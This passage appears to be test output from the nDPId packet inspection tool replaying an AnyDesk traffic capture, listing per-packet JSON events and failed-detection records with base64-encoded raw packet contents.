c9CDeZIVVJiRVKjBipt++qu55LFEUw8IVNVnlEpStWFQHavab9a2PsOKnqBmxkVzk2uSLw2rQnHQGaLFsNUOvRq4iq3StX8kVA6CuOoJlQ4sLMtSN\/AL0ZvIqKWb9vzGKZjtFh2RlWoGIKpZoXzuLryJ7+\/FIhO2IqG9ht1tJAU5SUFOdzJyiKUH6AkOxCbTiYKcHwR2sOPSzs60JHNZhYAu3k0mKVCh2r2PCYHX\/1gqDazf+2B7OReIe9Qd2B\/m5hQFljuYdK1cJGtIAw2HbzHzJMfRIUbUQ0nNMAO2b1F3CetvMtV53FV49HA+g6yZg4OP+pVpiz\/C+nY3kNAuKxJSZmjm4DmzIIG2UERy\/mDRYbmku\/4QRhSOI9QmJtZK10t5Z7TdPpz8LTZe\/PPefMrjDu2bFtz2NKajcmJQu2Qk0nmY0xNEEYDUI\/TTFnHPPIVodLq8LQGKlA30liyDnY1mVx7uPKsfnmWp7dBIQEDyRgd0GBO+PrkCg5cdNhhCo+7Qebn2Z4NoJtfguvz7vqizfTHTHa18aRPFVjrsQUnMjL\/rF\/+gratIPrVj2Pv4Le9gOf7enNZKrjHY+3bd907yL4M2oOjBsN51lpqKr+UUl\/N3CQTEGNZ4M6DzX0Q6PjFfRLJgJBm3RZAcwWwKC30pR8ajMF9LDgCLDf65J2IciIxUjDaiusLlxq9eBvbyQPGbwjp1zGiS006Gw2wFPWtcg3P4tkBHkkkmCVxd8BG0YdLQ9rcbC6KSWlksjNSoAXr6IEwY8ovV\/xKx4wRoLbVn1q9vUIyAIwYXuS9mHW+GrcgHriwbZ+1hJ7Fa80nPZoRDM3O+j1oUNmAsoNQnz3faTc0GgDKKmAtXAQ2IL00VFMg3tGJWPqBanAP1k8x9eUWfsuyT+mWLZwiRvAwlnb3d5z9GxRhsmtuqG2D2c4sMV+vMHl9SmRDqzZoYRe6uEdYalu3RrZDyHsbMIVZ0kY715u3t28CYiVOb7YEb21FU6ae4gO95y46B8\/Tin9HkvLNOPtdMOKMxGAqDKPeV6v4NbZRqkX50w3\/MXeUlD53V4mU4viNMMyAdjQKnZWaZ6Ae8eJYg8vdJcYXPylLFvly0JYZ4wBw9O1Y0wqo6HbHK\/42J7Io3dQX5oaSrij17uM1fZT\/4vIvPtCIsTH4JWa85d1I8\/jyysCXWVH+sGz2Dx0jnPN64MOwWDkw39KtxIuz04KF3e9uj5dge\/qnmoi7W\/eUHhTPXv1YsoLc9Bz94\/1OFpPnOX69ciXGtsuo2MkeSJEbzSHvSchO501KMRy3iBAgAX96AmiU75vSeHxtAiCeCVrSxUHvQlrMTBV2pf2uu\/asHBSn9YgSLo7jpg4UaPnGp2yvS\/dGneFRnsYRZaXRhc2RcT+\/jSrMyErRqMYsm5+gDUwULbeV1LZtGvFyV9ms6PJq2cuFYV4SzaSCKj489rhadDpPei69c1RDpMx\/ZPK0bc7mUpgx72eZsNlPca2lSozLA2YUHQR9X7E1Qm2drtZPiQ1RkW\/Ef3k5FHhVP0oM7jg5L+wkFMws8s9uAbTaPuVqbSjhXQIeUOvZ\/+m3+49oThJjOGFi6XqO1qTwM3UqHJS24VR\/Q187Vu2TeBlhzGaOQzkRXKe8\/36nuxygNVgB2i40bMR33fjOdR4p+0SfS8qx7bllRUShcZugMeHb1gz5h4DWcJ9gWO8okw0cqkx2YoeDA1vjldeQrikdnUHwmKAO\/oEOj0bJml5whwAbOHX5rjO7b6V6oEVAhSfdHzdXlXqhEh3oX64OBW3+EO67BD9jUkrDkO2fVfdBp7vOwH9xpADh1LKrvgyk8Oh5mbV2clAC7hah6ApNGCiytFX7vPuBihFOxYBKHjr+0xlRw0J++D3asNAByrvPeb55KFkt9DfBQay698NPTgkmKkeZoO8D19NtGwapKI5Te\/VYuNznTt9ceKXwr\/IwVwZwQIPG+XsU6KfJ\/Xjri09vkZmcBkMCbJNRNFaE6oD5K5Lriu8\/0yWmxD58hNFFzFptqV13FmbkeSgcDCi8kVYi9dnne74BgHBLdQTJXwAZliSDQfBLpidDcQq+86BLYrGsFgLvi++fDewIme4r7khLtFW2uGvwIHL3rpsOIJWfYgj5qW1XwSVspM\/9JzTU5qdAOjLAm99ySLFxp4NccakjvJK1Fh3K3K1MaQXsxeNlElk4hr1RwYsjL\/rIh4jWraLwAyvOGwhtXMUJHSf3El8LxhA3pS1JCdDr5hSSK9hJSVxN\/sU52+awNFU7ztK4U\/KEIhJE\/dLjsSM1TX0TsjTmlVGeyz2bCSM5K5MBY187tnLiiHVHQbkwlxUwbv6XFBH113P87xQszaFcvFgrBVzDtdXISFVETwlMq5XZSBf+1fi5JYGxOEI5FwG66lIvDZPU1V7xWmre7xxQLlsatBeoVFVXboHjWPATcUhZ8UAnFFsxb0CTfDRLpbMZHCtd3+z5LCpq7bRnHz9GpUmLYEotQU6LURkUYZn7PEz3yxldCXBU721gXr7905atDUW99eVYJosRT0l6xbGZuecFiqJAmC5sqYIWzr99EKkiJAx6zzVwGjeZHU+9PZ6HubjQ+99j03aQop2U7CmyPI65ex50vrzZD\/C6A6UAUNq\/\/iqNMJGfaPj6Hu3I1pmj\/qBT\/x+xa34QpM9DdSQxeJjzjQH+OCIJ\/in+zLcPGUcjWfjpOODVvIQVGkOzqGzzcxqkoZrZ4SvubsxThdPaH4mR8B0tD5adYQZpYHNmLv1Jw1i8jON7p85tlxHZxqDktKGma1Mu4+CMIqrn2bXspkv77ncuy\/Cg\/Sy8QxG2gn5Y\/ZNNbPwDycCWjOH9pF0osdoPo95GWMqLLNQGAZ1DQjjiDWFv\/kAMXGl+zU4\/iHLS3quEV28WBkLdZz9bXQDkQxQvtLJ23s\/r9L4G0pATHOLP8m6Ewv4+2aJw63Ae8QUK8r5xz7GXmX5sHmVdmOR58hPmMFBSe+TREv2Xjv2PLdMgy5nRfDfUOVaCfeNSQjOEaXFyk2r8Aos4yq\/odxJePtQ76qMGcNTSUsLeZB9TSHiUfgwge0Ny9kBEKlaivXLMXSaMXCLrb6isbKv3nj+hIRrxpNjxZ2Vt47YmW2tzWcFMBawCkFHm0wE0r1GPWve9LV4ohRcOgwfMme22cOVO8kjVmSeWhCVYHSUBC+69bU3cGwCpzKakTBWB8E5tRrdDeQg0q7nzZG0O50pAaxta9j6qLpntIivjhGLSGnJqZXBImkOkj6KYBDODnstvseUgSclr8jbm3HR+jVq3yhZMcTkaExVSpNZ+Edfwl7CQVkHSZuvvBWXRSBpbluWPVWAlDu1LjVb5FtG1yXS2jvde1k59hivjx\/MuQuX4uGKu7HmaMtV99tAAVxU8BBTz1IvmXYVen2sn1R1K94SBgBzu4B3Hb3n7YhT43q6qMhloiegBsMjTHJMs1eOzEF1EnZ455xpnhMPmwmV06YfbewSCyubGg\/PhcNybmLdb0axx+rmgOiW6da6fZfYz+D6hj7IekLSE2xTBShWEtnWVIdx8guSS7npl5SYlRuguYzXVE4wwMu0wkNgpZxOZ3sBFb9jyLXFe\/+Gfxt\/i8azmvEsc\/0hxvkEveKOZaT6BSFyue89BIiy4OH6yZE4bkBfGrl4oQFJSpcNRi3YRaIGcUOU\/UvEciS1HQ0Vl7ePfcGdruLAz7OXi\/XRjnnrtPLbWm2GFZjXQaUk0RwmsTi7Nk9uhbkr9msc1oSOWfPSNsKHRcoGzGIBO0zFaOq1jFHeIrxOYkQWhlkSik3bd3srME5NgrnAn9ZDC02CH5gxmvMvcF\/dA7jqEV1eyH2xmRwtboMdyll1Bdr49kmUkA7uRqeFeCnWHp9Fq\/RFyEX\/7dj7J5LxUi0v5rPQzk8hSKDVJrekllr5qIKOUIv2ZV5jVkb\/5yYSbUaMXmKwh3KNEdu1KkXuVsAPafQI+Xx67wUrEraEcoTpzTCpezcHDVaCvbBWzt93A+SpzniokheeYnxdAC7\/iQt7drJ00uJBQu1C4EGH8z3xuwRsk2UV3VGVDb7xWmWiY5cd8g71STwh2P9rtqUVwEDmWN+b1odv3CSgKKwEMpBFB3I20eW6PTCv7c9pO82W2spm4siVndTKSj4v\/Molmx"} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2167,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5522} +04813{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2168,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977615,"pkt_ts_usec":173959,"pkt_caplen":3341,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":3341,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAhgVAAIAGAADAqAG7wKgBstOUG56PM17KWcRIjVAYIBKExAAAFwMDDNJZ4hNO+msXFAyTGXW3sQl47\/RYcVzJmzeX31MVyXbi+c64lAxS3e1ki6+Kt5VemEy4YiiYdKFdEErU\/kTsTMlauVgKkBiMb09NpzhZsiyuRhJVBrIPiNAIVk7LYImafEBvIGxmTyo\/RBRf2GGLZtFhS+cm2TVFGrmcctAepMXL4S04zd1lm8j7CLklgONxuw10\/z817kOPk5mLVNr2uoysvnBY44OydmO3zliOqeQeKM2bsfx3stL1QsAd0FRlpZ98gYtRofEgTE1cdR9nPP1ZcjNtxU0RlpfRBKhGHdP1Ade0iPk0jGexbJk8LnQGNsdK0qZowCpPDYJvswhapHyFwyHbEMc13OkKI0qiTgdGsxAfGnaZ2LffwjCCrUNAkpSmaVSUhO1WBT1K9Wg9dFwU1AMVN+ymLUOILS5a8YC2B2UEA+g9fqnV9a7+zfeSEw97QHOKGy2lQ8SO6x\/sDM0wt9SmAXQbdt0FBKnt0Ke1P3tN7ZjqeQsQqqM6BTduIIDGKoj3sf20Fm2HYlm8XWNCBUcAj96w6ECPrDz0UU\/+hOJdr95NitTjqjydzZsZxxam2QxIPSXVABC\/mLVkTXsuQfhfkPOpNkIBL0TiPrq8fytabGozwfzKGP4dJowkTgzO830c3HXFCCsqI4ebjfasgjxt7RjgWQusa1DtQ9S8QHWc3CVN0+XV8nvGqR4YJNhcBBZxuqqH93gF+zOWmJdMlDfsYAnHGwxkNGOYvQqFLFS+6Fi+EoCfmjaNnHiOXv5nj6Y7boLchAlwgf7Q8xRiuMVzpJr+9+sG9hxX\/y7qPtqxJOwab9QK01IYk3chw0QCU5n59oWL5FGu5syZGu1Z\/BNV3cWFMs07nox+nEyNhVHFaHZZJMTI5nBYAsiDpk536VPJnr+ttHQBgWYEU0Pr4bcr4ed76A6AfnlWcJYHYhe3e8VJlK66HccF2AGWmh\/l2JK84j50VzaYVRlT8tR1+Q9uyj7O8SelPJU8GqYJmlboQd5L2mLVvIImDxpu1X3a2sz7cSHsZgaD4suwaf8OqdQcaB3jhX4KPRN1EGw8osre1MvnBeooQVJDv9MG6jZADN\/K8ssE6Ogel5AL3VdpREqGRh+URvKfeZVc6mN4HPLAT5z+U+nrnQBkuOcfi+tB13\/ZFQKm0vMqnmtRlrwqVDGoMuF1KMui4N2HdqHNua5Ut3zzN5kKC8meA\/Ewq7Ha6Eo3hM1ImNaOJIfoUmeszDQ8IO1MkQshyis0tKxpGmNg468SWbrh4Ap3nr5\/FbbLnSC1s7G8PrSVzfnP5V7XJu7JyuN0j151giJVG2JGbZaAT8NwSBY1KLAt89ea+36g7NezcLFew1+7dQJ2WdgnJk+HbvRIp\/vkw8eCx9tLG6jPEXpUJ1Rgt5B2NhWwZ1Gchocsn0sLTNWhAd65aXdVTDRLt\/psDPSWGptFqsEIEczxPi4GnN2VM+UXAD7YcWeTbKBSKKs5RzmbuP+dzeIPRa6eAxVYTv87oXOQDYUTz1NmJDSf9UCnCJ5cAF+ODLNxX\/Lutxjhi9\/KSB8mMA8pM2W5AIEPCtPTAYUvalZ6qKrgLeP1D6H1\/vxcAVzzCwIDnTrnD4qLxEbGTFyWSMxT++p7AuSLuGKN5ylDioov3rO\/+UzVDQwqbqZ3ytzt3suksZTgwnVN5wnCVv7cIw\/V\/HNlJJCrbok3i\/coGiopXhXHBh6joeYQVVOafLs47WuZp69DsxxBHN5pM\/gjM3v19waDGNdHXSO5yS2qt6vaA40toPOhMhSXbtBs\/K3A8qt3WOuARWXJDeRIOSsaz2HfwQWL78G42LPa0rQML2Dd0pfAkCdtMjCk1y05Zujqe6jMVyqCniz0ThSHM0QZpwCvRDX7PuOVakX1amw8RaRw5RpbFqfLzNXCvgG1mWpS+oHwLBlMPvv6Grlzxy6Q+3iYeM\/zi0e+Po3Xy43xFdg36SGdId\/epw9UzEpX4ifQKu9\/1TGeDTvSfr64DzvOfMi9ta7v3YX\/yL05cs1DSi0U5xzr7FMTEG5UyO66diMYICc7o75BoH+gKBTPOszULRvQoPxyWWaDhcTmYPh4tYGU3w0ekx6W3Ye7pV4U4DyEUX0waW7KB2Xh3IGuw3ljQbYf+5yrU\/+Pyb+mIKz4yzAXNhY\/DBH4eUyoO398jsKK7bgPCAWztkpnPbzeYk5M41ySdbHd3iQ1UiuGWg4u8K2xqefntZsW8KMON\/DmMCCCJKXAEMa+O5gR3fu5C1451hX48qyhzbbibbnl2OtR430ntSUuST6gzgddjdam0JKLh5clvctEgcaSWySXdtbiN0RkUyyXHQ66ICJDYC8MmfV6jSleEQH3xws+KJz3eihT5pG1VLqgNWhxAk0fDMkqCNlMvpMPP3qsNm4I02IvukEzBNf22a\/+KAjRdwoOwkHV2m344Z3uAaWHbzHIlY67RszsmO8UkEha+0VNh0jM4LjyoM00vs9RtRC5lzKyuQ27X59l420zgtecWliuyJ7pTRx5ly5eU\/qb2qWdm2Pc1dNeSan4tOdwIC4vvtUIg+25Su6jvANM55GHyw77EgdwG6bF0izC3CYRDz55nK3A1emEbXKsZdBBVWCekRmwBAQ6P09932QGgZKF66UW3SglxG2wvAnHhyrzUh6MvFnGnwjatZUBGT\/jD\/jz1g5tNWWkaHeWPQfsecMthGUmh8uCXRFJaB+wgzUnL4C7KafVR+AdK5sJriq0rezhREhzDR16AU6Gr4nf1k8OVtR46mtq9g4GalUYjWQtXthL7cH0t19uyMHGrW3t7GAQOrx9DJ0H4C04iYESHZVZ42e2G7jR\/3amCwczRu7ePRrHFLYwYOOQkyr1Xw0J2DQL\/iRUONs3sFWAfKfZFk+eibygweJq19pYtsJkgqfO2dqEezy+9WCBFHcrlZzK8QYY0yvyknuxrbvJKD0+ktIG9MA+EWzIy7wlU+bvsynAJPQVEIAMvCv0szxUpQIk0u5uJDgdpjnmcftAByzCQAKCNitMSn8Nh+AJYc1Jj7Ur1UXeiEBvgBgK3ZXLHpXysBcW9TolF6OKZlBvRAhyC7n98sHEko1CiZRR4ljSQTI\/FpAvLh51tqtPu4lnYsZi+cwbfn7Pa3Mafjr7eu0lcqkT96clJgwyJEgoORMeNd4ps4axr+FFrWYegAWx4HRQye6iYxbVsrDx+HVgC8WqUQBo4brhLmS+fnAkH+uQ79AH0ZOe1ncBcIBWjMexNrYWE9jC9E0yp9+cFKvWgjuGQtxYJJ5JYHucePwemRtFv0VILcR2qKzykGXZ2gqtwP11N6bvLJDUPYHfNfZyXA4jUuCgntEcDKLrrEZPFrJKoNehbVal2rvcPliYTbatTPfyRMKynKG8X9mPojY6ICYHu9EELq3SI0Vp3kY0w\/64sUJurzRpESOGKFqh4GdsW3mL9KuUFBXZonbzOCJUtMarRAmHJXAcnRpI3M\/2iX4NLEuTq3lHxYYJns+Ea5yewPqdeLfOiL+JV\/AWp\/KGTZ9zOp7HRM5IFVIaRZ363HVyt1XnkZxXkUwKrT+Ruw5IHTXvHStnQg6TRgwXSr7Zi4RKJgPNJE7c7TiOPXPmRwZWFv837VVEiaC707RONAPoAhaYi\/U0+8SvXbGG0xeQNs7moxqlxuXiODVN+j08zJA4olvzAWIxOMNJZHqUadAckLbMtirLbFOmZ9BY\/aHfQv5n3OPKgaYx2VGu8OwuwruqCw0qh3+7fZYKKOUAlMvDEi+Xu0v6K2mFfVC+hfwjks25+v9hsfOnjPYLvrvOldvLXNDV7m0q6WbLaKuDMyGAIidVGRSEiYmZ9fG5M9gPem+SBrhiOkpsPJqpvq+XEkW9yGTQC5x9AHkNm2Ap8mZ9gD8UxAibU7Y8VJmOTVrLZHemZINSQqTkbfkH9eBMLyDC76ySJN+KQXuRkQswTkdLKYc1yYE7eLSmoq32JgcH2l2T60Eau9edfdUKd\/GvHpU92l61G\/JAczHKsQi32KowK8y59b9IQcxtTlY6OHXW36JMTrcTtyoAMjqDrHNVW\/SIwkoQ+VohFvqE9P7S3evybOa5qYbAY\/feN7hg3EX0i7Cqolbjoap1+3rABdvf6HQKQM0oOo6zq2LggjtWk5l2gBsAiavvZ7GF16dr9iwmye+tMYzNxergxnGHXhojzDxmFKZ8jGzjx57njKb1hixrXf4svzhEzUh5qkVG4++odqJdnjxnemh\/ugxSvXIrBeix\/UBlG33QLMKPl4UrxDhYA1gNSuFuueRohi9nIXDf5LKNVSBofN1X4TGsOnP6wjuP3E2WvraD7xCnZAv0+FyMW2la57nQSq2vliDic7gG\/PafbwGbnuGqOXx3Ff2qppQ="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2168,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":3307} +07830{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2169,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977615,"pkt_ts_usec":174207,"pkt_caplen":5556,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5556,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAhghAAIAGAADAqAG7wKgBstOUG56PM2uhWcRIjVAYIBKExAAAFwMDFXlZ4hNO+msXFbsmbGsuU0kHdgQokviilUd12uO7G8H1YypZyDKwORX8HaY86W2HJkoFhAwbQ\/PtCAR13b4D+GpWu93z6\/\/aXDSRigYRExbEqSjNVNCQKxFMkO1Ub3QfQNzouSM0E8GB1jag8l2N1Un1h\/xUYdIvDHnId4kiC78ehmEyJvvXrB5piYDyBFHQu9yo3IUGMPo\/aU6hHQeQVoLyO8CUnh3ExAn4lg\/BFR5enknrJLBOsWVO+v4qEDGLR4FhqxhY+sCdkZx+IWvoksuc\/3lh3ZZ\/h8aqavNHcU+dGh8EHTCkyjnHDYkJLhCyzFCMKFJkRKuhPLVuHlXEDGz08jOOoTiouoGUkNDjUEciSbMnZMBgYSuHAxE1VsvVUX3LeDDFZM2lOtO7FgpKMHNPEeo4lL85xl\/\/vNnNppks8nk31V5RshADTiVy856o27aFCjaEQgMzyXr3ykUIU9C\/TsT2Rr1blAVJ0vjymf0LOYjMZT+bhMDMeeBNmHV5z55+xyRzq+vnRSIx9vXL0bbJdjfuNDs4iGm+WHynC98KFvUpYxHLbmQhTtQIXFSJzSS6uOrx5nP19eJcRYC1o7KoNdWqbtKhUyqpcBh4xA8xRMnbJv4v5HLsCV2uwqbjJQxN8Pwm44uc\/cRlCoM42HNJCY4gk9tjV89aUiyFmvDbv2DGPqF0eq+8GedZsCSehCoTUy+JobtQvEsWkm47dusYQSXaxB45A\/KxTcZpyfyYfR8TMZvPLfOC\/jXjlUMEq+8Oib28NQMOn9UPx9lpMAXoNpj1Whb1nqxYuE907+idecmlhmfaIzDgMg\/vq5+\/xWUQZeBcrC1DKuKMtZLsZEIzW7Rfr+QVkRF7\/5JTJ1A29NJOHPnoiKuGx06kTzepUL5xr9pB4Kic5dmMpIyQSBmKYiC2teTIodaZfEiTKDsT7C7gpHpAwC3uIUK0G1WXCgASpwCGZhX7XqMPgmy0W\/C2Pco1kF5HxNENAoZmveYe2cb4pQsHD9E\/L8d+1x6TqGCoJVeGib2vr03W6A6rNf\/n8NJBa6PqjA+t2nB41QTYi0isM4pWeXtVpuNuAhABDBm4jRONWfNw9qCRcfNdVogDvGS4FcfP9D8Q3HxSNb6ZFhvDJsZMe2wxeXex44umWsISYs92LbsRYlrAObZpgERD0Dphb50d8vdnsg9BZ+BI57aL9TRC\/lnxA16jHhjFYMUhfvBHDUblPTXNlLBHQWKbaqjZwpL\/reTmsC17YO6\/rT09n7hV3W+KK5Pfjwm930sM+7BtV9cR5aVZ1IKBPacTW4J1TiFnmg+MBAlzfgMfTE0uGllmaHFtoKoLlt2G9bF4vOlXnhB392KT1cK73SLca4EE5wOjRXNTUztTH0TuUBj6Pf4a\/fZPE6mWM3Wx7+rECfF8HyUs2S7FS7fIp6gmWgzfwFHNH3sa8wtyJeTAtZ89ujTJPS\/YFxNCEUHa7eNgEN4OEdNb+wY\/ZGD+fnGVZ97ssx7WJBfWRcYjlhR8c9wY+MP9+83DaTyEhctLeGy2WadacWFWtcik3VNzvpKabCJJsK3kC1tAktrZWgLMDvfSYlX0ZZDWBCoh2i69ED9Mi8Z5rMxYv2\/lEpde5cWGsLuBT\/Fl1ENPWyBH0mlHUtoMopvBnBUPXXWpj9jnZS8i8OYFxw4QuOjpsIRGEE5eaX81X2m5eIOQbYJJ8N4p+SqtUkB1AIxLqI3N115yeh5QZwxFdMMDpU6zFBgrleNaJOLTbUJy3+Bl4NNyPY7tdgjAXib0mQ5uaCAjsOCsED2GRkSy33oTmETZTDYYFFBzpoltx3VJ+PLrQ8wAirzm8\/UhIiZ+2W6uLjk8my2xTH3CUuPBPzyuxbYzTfnmK4btvsHw+3b99LzbFLIzxDoZsQUbt+6Hq5wTFX\/YJPxNqME4Tam1oajQLTEPFyJCFhjGHcHx2gyOSfwZhLzFRfwy3PRtWnpNxWjeqmHnGLjb2CJrIcKKCsfQjOaiBUkldBksGVL8qQiN+Ri8sPGGLHb3mrKLpuzbiE+MqXM1T+IYyI9eiUpiOISpQP9xuCQpBzb6jNwslcURE\/gx\/9Wl8q96bZAmnAHROmocghtTDEVMjh8wP3\/eIlo+SKIlpKQ\/vDuGLJpgh+VN1E\/0nGKNHNk4NlMpjDw0+Sb4jMG3Qds1RTPkVhRzXD1aC7G580+dGICRvwSOqnQRHXxkceS2aWTK0eRgZ3\/IGoLLa5CnTW7ylQo28ggjnDEwBHexLaJS2Hh2gFQGnUCp5O0yEIKokFtEuaNcbsdidevB6c7gag1xaEAIOqkJ\/geDVzca3HbqDVRgvqWHguxjMpnJc4jO6G0gEuT4kijjU9LKU+x2BmbnLstRqFdSiQd3DyDsvLsr6sqkKbmfW3VJYAQXjYMX4gAb6n6N38Raui17RVGDYullhVQh9Ke6S78jrLw8gSNiUw86y4euWZmuGbnsP1uGEPmrGDpWrI2DDT1Z4TDNkWJfeOKmoCJmAM7E9zcSn0gyg47QllgZgGg948\/3dLD5MoCmLo1J\/1JO2adLJrsYrZUluQFfi8MntHrGUURHw66hLsfHiNH1RS3dRW1LfNv5O\/AqqFV7uVC5eARxSH5OCPA74p3WZ5oZosMP0j89DgBpAJoU7MoLquGw4jAoPCI4yTtzLQim8R7qOhhgU2hmx2KzH0DUmGLq\/JMZatngMbZPPG1xNhY6P1df9ogQzB3OD3VCfyhMSKWyNfdeqhK+m4g6GoiVg4Ye0lf7kjuJewf1FWZg\/nUi6kTHkadImkA7eSf05Fw\/k2wIT2m+k39tKVASNqHr1X\/\/j2vEIhEPHlAanG8DCZfpbcSKDz\/F1ohkPCrcDqSyEKFxmu51KVrxmGGGR+Xnr1ApNssAjAbl\/OL\/vSh6+hhda\/tQUvsEPBMRHzKog6\/kV\/K4ZoYuWDKIWU7IrjRJxOX03KdbwboqVLaeMTXzcv1w4kOc6mNOAgiQv4svbO2w4YfHayxc+WTd6k0LqLI0O9nwf2Fp56jCPdO2J70ZTfv8H+9Xleq2Xxu1NWA6WI\/TfgALC3hl0BltErok5iGFddqb7Zgp+9Ktlcg78RefIlddOMXkNA8oW67yELOtbVfs36fBM9mHEFwBpit9y+iaeZTqot+VgDl94CuQTXv+zG8p9YE7mD44j4QMfJo3mTCNN+NV75raDQiN9GG3f7Ps1d7MH+mPu8vLcu3aSn75T6N5vn2RcVe88gQZIqdmfL5l2mq59yhnjW3c5ESTYsCsSx8XPHDvI5Pv4auE\/duJK0h6upp3uMwMDDGfHbaBVa+1ceLgtmcidvUmOJ81SVqxGCNE+tPt71yniQrAN4TVvtqVTKZqELAF0DZYwJjT9UvClE3Mzz9wZeae9eTFtXdDwS6DCtc9vHk7dvqIh2e\/puol6gE3Eac95vLbkLvAVvipP+FTZORUcM2U7aNHEIAqLL16ZVsu9mAb2jUbfqoKVQYeLCWhuC\/0O3zE6zm569UuB6zE66QD00qpILLdZx4UwoQMt3FAKTnOgPrIbaQpGs71ib8Dc7F1A79Sm+4nVefAVWCClNs8UUGPoO4\/Fgk2MOJoOEwRHronZy3QKZtiIbfTO4T\/X1fQ2+ZnEg5dSY+Wc0jN+IGRcH2RfPW\/gGVQ2QOCunBLyqT5g05sDQF3Mk6AL+YLbnkxWbHT3Efj5eUw+B1Zc6+LBSW65VPSC9oi9GQOyk62XTyXhZ8jXV5D6lHDlHRKh49CnQuKvwVj\/9sBaRu1A1Y8ysqSMlctIZKITo4mNqIyDStg3HBF2hvj2h+f8Aq3U4KbtPpaciUgOXCiNQyn9R97ffezINxZ6iojmY09x1HVsNl9t\/I2GdAIux76iSM8pkHCFRz3cIAL6mKmVSob7AFwSsitlCmjY7EFy5pqxF3q0pwJXr6J5z87pCGmQkwlJVfYfKAB4UwV9jZyxxznGumyXsWRbdIHHsy8Swhj4vCI68BGMViqYKX76bMPcT\/xAitmW\/MCwd3yMFgGzM7HjAzSrFXOIF30MF6C+dTn1m2HgBFtoXOdvz\/JvfpjiQL4tvGPDEljpyP\/8teqbdYalF3XbKHdxC\/WIDe+0FdXeg2FyS\/bjeO9H15iUWF6F3MRiZ440\/6fdJEToBs8GVR\/2vICue3VRGLRD7dx8pDpT6HWiAremv5+o6upLbgmT+AY7S+iwC4B\/MVvi7ze9rcwhbwKKFY2lBunRX4H2nmHqCFb\/JR5ePVOqC3lfzyQUhHwRczjM+ebgRN7FGLnYc2HMkqvWWV2TuqLB2lV\/EBcOBb84Oid10OfxtkuhZpyr9+cWyk1IZH\/Zsouo2kYAgxdYUPx+TRgR1T4Ysj3mZH6LaAIwLmmizzj9e790S8vIa4A7LpPPKcmp1FXSCLiT980GAAoRir9iTpq9WoSrb9O8+djPafL0a9BxrRSnySwi5OMq9dU7d1m9Twy+6GPaCEVR53Xb43nRTjFGggD8IRjNcvYnbN8yW1EWl4RBtVqHLnlQkT600mBF+C84EhY8vxG69ByhUUcDRPUIUZ8hl8a7qXOcDvJE2ZuriICE+kfLvpKB4Bhdb41PtU3ybwbYiDSaQJEn0FVkFkBbn4\/tmA2Dy+clsLGogfTjgHCgwVVAAKGyMg4OPYU0d80BZhBaDpw260euh8r9rUswibnmTXmeoDpFRLYO87hYhoqi5glU\/Lg6MlHD59o+9Xx5LPTUM+f8bOyI6RvIy7tXSJZcBk7jSGy6rVIMFS+MRukRkDdPFPVbgn1qrDpRANGP8Du03iL3+Ff7a2IOSbU6auEDmeaApPQ9bVPO\/8miQzh0U2H3PqLG10IC4wciSRptr0RkkqWoL6CmVi5MHJ\/KZt\/05LT04jWR5A0jEVdpzHjK2HAzAOU1z2Aop7iHGvl91yJj+znZ3guQot509+UJC+MQ66tw5eEzlYkevk0UGkPMzuKEIfUI5pfDQn5xohYAbvG+yCnQqBWCr\/hYF8g2kSAr7IjxGDNkxoXF6ErxOwLA9PjWwFqW0Emtwppr8eTu9kvEFlJqcZ0b\/4MFjSBASpITTMK+Ahya+eoyDdkuPxln8h9wk5Fqb\/c\/EdrwxigjaGC\/hEPTbx9LfXDUtxzzO19Yi7dv1XEYhTl54ZOCTAgZQ3YnEMdxyJkOsJoIa7x6ikHgzyKs\/PfFA6g3R4xZuhqpa9fnR40UORFlevRg2mnAUmj\/kqg5oEhruk31xxkFquJbtau1Ufzg1tGJVVVovPY4sy8sLInFqBIn5pvm1BvjYshBkFJd9LpAaWQydn7Rr7qr19nndP2qvyfbS0uG6GRePqvbg05jCZj700ifZGWSJLzsilhO\/8JL05CXOdQ0xsKFy+AnmsPdpCXnmL8Ehg39RcuPJhalORMHU+D7GQDwP\/udMarPE3KegmGdtcNfvFXlvR8htC5RDPf5+cRtygPbPYaqDxMPhCEWPWJofFLpUeI\/zIUQNRX2QL1Hd8yl91V7WS4lTEzXB7jP4QN+352085YzCTZBNULarlepC7dNVQgID9ZF0bA1vzkK7fx1EkhqRtBM\/1xvkA\/uyPyRFE2EtcGlApgIFA81t\/KYa5Ol64ig3B7wnWEmXETXOpyqIjSZiRRmiQFycvv2dOY\/zMGuI2gCFlAiextBg+qTSKktQXW4y\/ixyC5W3Scb6I49vcVAFj2katSik\/926Wr6tHicsnFcfQdubVsVUOrgqAiMSolxSeNCsSTpkFYpXpDBMgEfb1i7F7xCdFGVoU52mjmvoG\/7hJhf5yA19OvNU10EzNgDsQQqivk3vzSZIqC3mif9uTtiV03atJf9T1iuaN7H3t3pwzL63dQx51F+d47uIgH5\/hIYvNgGxA\/GiEodHtT5mIfzExD0YI2bthzhm9+bclMsH4ZgRM4u7sgrlKqyAsXbBmcO66u9EMiIJPETLXOdrMv7cheduXRCCKoOC7q0Oj+d43U6ao7tB9c1J81NjYtVrku+drnVVw1U3MgyhGkMqhT4AoGhfWBSAh0iMKYt6dx+eSl14JTgLbW0nrBr0vWmmSNctapf1NZV4WeMGn3+9rU7ljcjf5De8cqU2Dzx0qCTognqsU\/8HPf8FHoBZ6Iyo9T5LtKgPOChusQ0WYjKcucpt8CIrMzW9hN3PKLscYauJeD93aOgWDi\/kdIV0aiTrAZAoErqz1fcFPVecHv2Un2im6CqlRBxShpJxl4xM5lozC3HwM3ONZ9YpNpjuo6bMG44FSyLoo\/gc2NbWPo8gyulWrE2X8I430tO4RM3MGMGS2WFHfXGwTzBh4Vjib3H5SFZa1OmK4W7ykFtf5m4n